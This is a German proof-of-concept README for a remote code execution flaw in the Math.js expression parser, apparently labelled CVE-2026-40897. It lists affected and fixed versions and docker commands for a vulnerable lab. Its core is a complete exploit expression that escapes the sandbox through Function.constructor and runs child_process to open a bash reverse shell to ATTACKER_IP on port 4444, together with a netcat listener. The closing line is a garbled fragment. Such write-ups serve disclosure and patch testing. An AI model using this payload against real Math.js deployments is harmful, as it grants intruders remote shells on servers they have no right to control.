
Math.js Expression Parser RCE
★ CVE-2026-40897 Remote-Code-Ausführung in Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 ist eine Sandbox-Umgehung, die zu Remote-Code-Ausführung führt, eine Schwachstelle im Ausdrucksparser von Math.js. Der Filter
isSafePropertyprüft nur den Zugriff auf Eigenschaften aus Benutzerausdrücken, nicht aus internen Codepfaden. Durch das Offenlegen des internen Arrays vonArrayNodeübertoJSON()und das Überschreiben von dessen.mapkann ein Angreifer internen Code zwingen, aufFunction.constructorzuzugreifen und beliebiges JavaScript auszuführen.
| Kategorie | Version |
|---|---|
| Anfällig | Math.js 13.1.1 ≤ Version ≤ 15.1.1 |
| Behoben | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Nach dem Starten der anfälligen Umgebung befolgen Sie die folgenden Schritte, um den Angriff zu reproduzieren.
nc -lvnp 4444
Senden Sie den folgenden Ausdruck an math.evaluate (z. B. über die Berechnungseingabe der Anwendung).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Der Zielserver verbindet sich zurück zum Listener des Angreifers und gewährt eine interaktive Bash-Shell.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) über den Ausdrucksparser ein